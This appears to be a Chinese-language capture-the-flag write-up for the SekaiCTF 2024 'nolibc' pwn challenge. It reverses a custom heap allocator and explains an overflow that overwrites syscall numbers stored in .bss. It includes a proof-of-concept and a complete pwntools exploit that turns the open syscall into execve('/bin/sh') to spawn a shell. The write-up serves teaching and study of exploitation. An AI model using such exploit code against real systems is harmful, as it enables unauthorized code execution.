首页 > 其他分享 >sekaiCTF-2024-pwn-nolibc解析

sekaiCTF-2024-pwn-nolibc解析

时间:2024-09-07 19:52:15浏览次数:13  
标签:nolibc string chunk 2024 io pwn data sla lambda

sekaiCTF 2024

nolibc

程序逆向

IDA反编译之后:

全是没有符号表的函数。start函数就是主函数。然后发现一些类似于printf的函数也没有符号。
我们linux上运行程序可以确定,至少sub_1322("Welcome to String Storage!");这样的函数实现的功能就是类似于printf。
逆向函数:

__int64 __fastcall sub_1322(__int64 a1)
{
  __int64 result; // rax

  sub_12C8(a1);
  result = dword_15004;
  __asm { syscall; LINUX - }
  return result;
}

因为这些函数都是出题人自己实现的。直接调用syscall实现了输出的功能

这里看汇编会更直观一点,从rax的变化和syscall指令来分析题目到底用到了什么调用。

主要关注rax是怎么被赋值的。 mov edx, cs:dword_15004中cs:dword_15004存放的是1,所以可以确定这里的调用了write系统调用。而rdi和rdx固定,所以类似于puts,逐个打印每个字符

程序的另外一大部分是实现了一个类似于malloc的内存管理程序
在start函数的开头调用了一个init函数,初始化了bss上的一段内存指针,之后在一些文件读写、输出处理的时候,会申请一段空间来进行数据保存。

之后逆向可以发现,程序开辟了bss段上0x5000--0x15000之间的内容作为heap,然后紧接着的内容中存放了:

  • 作为syscall的系统调用号:0,1,2,3
  • 用户是否登录的标记
  • 用户登录的个数

也就是说,我们如果可以造成溢出,覆盖bss上的系统调用号,就可以调用任意syscall
之后我们正常动调看一下:

可以看到在程序偏移0x15000的位置保存了四个系统调用号

漏洞利用

当时做的时候已经从EX师傅那里确定是可以覆盖系统调用号了。
所以剩下的就很简单了。只需要思考如何能构造溢出覆盖系统调用号即可。

这个题目中,自定义的堆块在topchunk的起始位置保存了剩余堆块的大小,初始堆块的大小是0x10000

主要的漏洞点在这些位置:
add程序:

__int64 add()
{
  int *v1; // [rsp+0h] [rbp-10h]
  int v2; // [rsp+Ch] [rbp-4h]

  if ( *(qword_15020[login_flag] + 16LL) > 2046 )
    return puts("You have reached the maximum number of strings");
  putstring("Enter string length: ");
  v2 = atoi();
  if ( v2 > 0 && v2 <= 256 )
  {
    putstring("Enter a string: ");
    v1 = malloc(v2 + 1);
    if ( !v1 )
    {
      puts("Failed to allocate memory");
      puts(&unk_3124);
      exit(&unk_3124);
    }
    read(v1, v2 + 1);
    *(qword_15020[login_flag] + 8 * ((*(qword_15020[login_flag] + 16LL))++ + 2LL) + 8) = v1;
    return puts("String added successfully!");
  }
  else
  {
    puts("Invalid length");
    return puts(&unk_3124);
  }
}

add程序这里可以申请0x101大小的heap

 v1 = malloc(v2 + 1);

而在malloc程序中:
起始位置有这样两行程序:

  if ( !size )
    return 0LL;
  chunk_size = (size + 15) & 0xFFFFFFF0;

将申请的chunk+15再和0xFFFFFFF0与,但是如果我们最初申请的是0x100,+1再+15,最后与一下,就导致我们可以申请0x110大小的堆块。
然后再加上程序自定义chunk头的0x10。也就是一次chunk申请我们可以最大申请0x120

这里其实就出问题了,比如程序最后分配只剩0x80的大小,然后我们在add函数中申请一个0x7f大小的堆块,程序首先会将chunksize设定为0x80,并跳过下面的malloc程序:

  while ( 1 )
  {
    if ( !victim )
      return 0LL;
    if ( chunk_size <= *victim )                // 这里检测申请的chunk_size是否小于当前指向的chunk大小,小于就退出,否则victim继续指向下一个
      break;
    heap_p = victim;
    victim = *(victim + 1);
  }
  if ( *victim >= (chunk_size + 16LL) )
  {
    next_chunk = victim + chunk_size + 16;
    *next_chunk = *victim - chunk_size - 16;    // 这里代表chunk头指针保存着chunk的剩余大小
    *(next_chunk + 1) = *(victim + 1);
    *(victim + 1) = next_chunk;
    *victim = chunk_size;
  }

并直接返回一个指针:
return victim + 4;,鉴于victim是一个无符号整型指针,其实也就是跳过了堆头部的0x10的内容。但是我们通过add申请了0x7f的可写内容,那么最后可以溢出0x10。

然后还没完,在执行register函数的时候:

__int64 register()
{
  int *v1; // [rsp+8h] [rbp-18h]
  int *password; // [rsp+10h] [rbp-10h]
  int *username; // [rsp+18h] [rbp-8h]

  if ( user_num > 0 )
    return puts("You can only register one account!");
  putstring("Username: ");
  username = malloc(0x20);
  if ( username )
  {
    read(username, 32);
    if ( length(username) )
    {
      putstring("Password: ");
      password = malloc(0x20);
      if ( password )
      {
        read(password, 32);
        if ( length(password) )
        {
          v1 = malloc(0x4010);
          *v1 = username;
          *(v1 + 1) = password;
          v1[4] = 0;
          qword_15020[user_num++] = v1;
          return puts("User registered successfully!");

还要申请0x4020+0x30+0x30的数据,这些也都是没有被释放的。将0x10000-(0x4020+0x30+0x30),然后我们算一下剩下的内容还有多少个0x120:(0x10000-(0x4020+0x30+0x30))%120 == 40, ,(0x10000-(0x4020+0x30+0x30))/120 == 0xaa,
所以我们add需要重复0xaa次

这里我们验证一下是否可以控制系统调用号:
poc:

from ctypes import *
from pwn import *
banary = "/home/giantbranch/PWN/question/Points_race/sekaiCTF/2024/nolibc"
elf = ELF(banary)
# libc = ELF("/home/giantbranch/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6")
# libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
# libc = ELF("/home/giantbranch/PWN/tools/libc-database-master/db/libc6_2.27-3ubuntu1.6_amd64.so")
ip = '202.0.5.178'
port = 9999
local = 1
if local:
    io = process(banary)
else:
    io = remote(ip, port)
    # remote('nolibc.chals.sekai.team',1337,ssl=True)

context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')

def dbg():
    gdb.attach(io)
    pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda addr : log.info(addr)
ia = lambda : io.interactive()


def login(username:bytes, password:bytes):
    sla(b'Choose an option: ', b'1')
    sla(b'Username: ', username)
    sla(b'Password: ', password)

def register(username:bytes, password:bytes):
    sla(b'Choose an option: ', b'2')
    sla(b'Username: ', username)
    sla(b'Password: ', password)

def add_string(length:int, string:bytes):
    sla(b'Choose an option: ', b'1')
    sla(b'Enter string length: ', str(length).encode())
    sla(b'Enter a string: ', string)

def delete_string(index:int):
    sla(b'Choose an option: ', b'2')
    sla(b'delete: ', str(index).encode())

def load_file(filename:bytes):
    sla(b'Choose an option: ', b'5')
    sla(b'Enter the filename: ', filename)

register(b'xmcve', b'123456')
login(b'xmcve', b'123456')
# load_file(b'sh') # Speed ​​up memory consumption

for i in range(0xaa):
    add_string(0x100, str(i).encode())
add_string(0x3f, b'\0' * 0x30 +  p32(111111))
dbg()
# ## Trigger Exception
# add_string(0x3f, b'\0' * 0x30 +  p32(0) + p32(1)+p32(59)+p32(3)) # 15 -> sys_rt_sigreturn
# delete_string(0)
# load_file("/bin/sh")
ia()

可以看到已经可以修改了:

然后我们只需要思考:

  1. 改哪个系统调用号
  2. 如何执行execve binsh

这里我们其实可以从四个系统调用号看起,首先execve需要控制rdi,那么0和1直接排除即可。先试试能不能通过改open变成execve调用binsh
通过逆向可以知道,在调用load和save的时候都有open调用参与

所以我们试着通过load file程序,并将文件名定为/bin/sh来getshell。
最后有一个问题:

  v3 = malloc(32);
  if ( v3 && (read(v3, 32), length(v3)) && !cmp(v3, "flag") )

在load程序时有这样一步,先malloc并检查内容和文件名,这里如果我们直接load的话需要再malloc一个32大小的内存,显然已经没有机会了。

所以我们需要利用delete函数删除一个堆块,之后再申请即可。

exp

from ctypes import *
from pwn import *
banary = "/home/giantbranch/PWN/question/Points_race/sekaiCTF/2024/nolibc"
elf = ELF(banary)
# libc = ELF("/home/giantbranch/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6")
# libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
# libc = ELF("/home/giantbranch/PWN/tools/libc-database-master/db/libc6_2.27-3ubuntu1.6_amd64.so")
ip = '202.0.5.178'
port = 9999
local = 1
if local:
    io = process(banary)
else:
    io = remote(ip, port)
    # remote('nolibc.chals.sekai.team',1337,ssl=True)

context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')

def dbg():
    gdb.attach(io)
    pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda addr : log.info(addr)
ia = lambda : io.interactive()


def login(username:bytes, password:bytes):
    sla(b'Choose an option: ', b'1')
    sla(b'Username: ', username)
    sla(b'Password: ', password)

def register(username:bytes, password:bytes):
    sla(b'Choose an option: ', b'2')
    sla(b'Username: ', username)
    sla(b'Password: ', password)

def add_string(length:int, string:bytes):
    sla(b'Choose an option: ', b'1')
    sla(b'Enter string length: ', str(length).encode())
    sla(b'Enter a string: ', string)

def delete_string(index:int):
    sla(b'Choose an option: ', b'2')
    sla(b'delete: ', str(index).encode())

def load_file(filename:bytes):
    sla(b'Choose an option: ', b'5')
    sla(b'Enter the filename: ', filename)

register(b'xmcve', b'123456')
login(b'xmcve', b'123456')

for i in range(0xaa):
    add_string(0x100, str(i).encode())

payload1 = b'a' * 0x30 +  p32(0)+p32(1)+p32(59)
add_string(0x3c, payload1)
# dbg()
delete_string(0)
load_file("/bin/sh")
ia()

标签:nolibc,string,chunk,2024,io,pwn,data,sla,lambda
From: https://www.cnblogs.com/seyedog/p/18402078

相关文章

  • 【最新发布】Adobe After Effects 2024安装包下载及安装全指南
    【最新发布】Adobe After Effects 2024安装包下载及安装全指南【最新发布】AdobeAfterEffects2024安装包下载及安装全指南AdobeAfterEffects2024是Adobe公司最新推出的视频后期制作软件,专为动态图形和视觉效果设计而打造。无论你是专业的视频编辑师、动画师,还是......
  • Anaconda安装教程,超详细超简单(2024最新版)
     本文讲解的是Anaconda安装教程、anaconda、怎么安装anaconda、Anaconda下载。扫盲:先装Python还是先装anaconda?关于先装Python还是先装Anaconda,这主要取决于你的具体需求和使用场景。不过,对于大多数初学者和数据分析、机器学习、科学计算等领域的使用者来说,推荐先安装Ana......
  • 2024年9月tg机器人
    koi社工库(推荐)http://t.me/KoiSGKbot?start=dSzfBx7RAI社工库(较全,推荐)http://t.me/aishegongkubot?start=AISGK_PC3LPCSO狗狗免费个户机器人https://t.me/gougou88_bot?start=ojQVZ繁花社工库http://t.me/FanHuaSGK_bot?start=FanHua_KMMJNXMInc社工库https://t.m......
  • 【全网最全】2024年数学建模国赛A题30页完整建模文档+17页成品论文+保奖matla代码+可
    您的点赞收藏是我继续更新的最大动力!一定要点击如下的卡片,那是获取资料的入口!【全网最全】2024年数学建模国赛A题30页完整建模文档+17页成品论文+保奖matla代码+可视化图表等(后续会更新)「首先来看看目前已有的资料,还会不断更新哦~一次购买,后续不会再被收费哦,保证是全网最全资......
  • 【视频教程】手把手AppWizard轻松制作一个emWin滑动主界面控制框架,任意跳转控制(2024-0
    现在的新版AppWizard已经比较好用,用户可以轻松的创建各种项目常规界面。比如早期创建一个支持滑动的主界面框架,并且可以跳转各种子界面,仅仅界面布局和各种图片格式转换都要花不少时间,而现在使用AppWizard,可以说轻轻松松,毫不费力。用户唯一要做的就是根据自己的芯片性能做一定的......
  • 2024最全前端面试系列(ES6)(ES6你不得不知道的新特性)
    functionfn(){return“HelloWorld”;}foo${fn()}bar//fooHelloWorldbarSymbolSymbol是ES6新增的基本类型。Symbol值通过Symbol函数生成。这就是说,对象的属性名现在可以有两种类型,一种是原来就有的字符串,另一种就是新增的Symbol类型。凡是属性名属于Sy......
  • 202409071506,开始写代码,从0开始 验证基本架子
    由于视频教程里面用的VS2105所以照抄。 开发环境是VS2015,WIN10.  VS2015在今天看来是一个很古老的开发环境了,估计都很难找到安装包。(各种安装包:https://www.cnblogs.com/zjoch/p/5694013.html)用:vs2015.ent_chs.iso(3.88GB(4,172,560,384字节))这个安装包,安装过程出......
  • 【零基础 快速学Java】韩顺平 零基础30天学会Java--- 常用类(2024JavaReview)
    包装类包装类的分类(针对八种基本数据类型相应的引用类型—包装类)(有了类的特点,就可以调用类中的方法)(实现了接口Serializable【String可以串行化:可以在网络传输】)(实现了接口Comparable[String对象可以比较大小])包装类和基本数据的转换(jdk5前的手动装箱和拆箱方式,jdk5以后(含j......
  • Java 2024年详细面试题合集(持续更新)
    1.java中的数据结构数组、链表、哈希表、栈、堆、队列、树、图2.什么是跨域?跨域的三要素跨域指的是浏览器不能执行其他网站的脚本。它是由浏览器的同源策略造成的,是浏览器施加的安全限制协议、域名、端口注意:localhost和127.0.0.1虽然都指向本机,但也属于跨域3.tomcat三......
  • 【零基础 快速学Java】韩顺平 零基础30天学会Java--- 面向对象编程(中级部分)(2024Jav
    IDEA常用快捷键添加注释和取消注释ctrl+/【第一次是添加注释,第二次是取消注释】导入该行需要的类先配置autoimport,然后使用alt+enter即可快速格式化代码ctrl+alt+L生成构造器等alt+insert[提高开发效率]查看一个类的层级关系ctrl+H[学习继承后,非常有用]......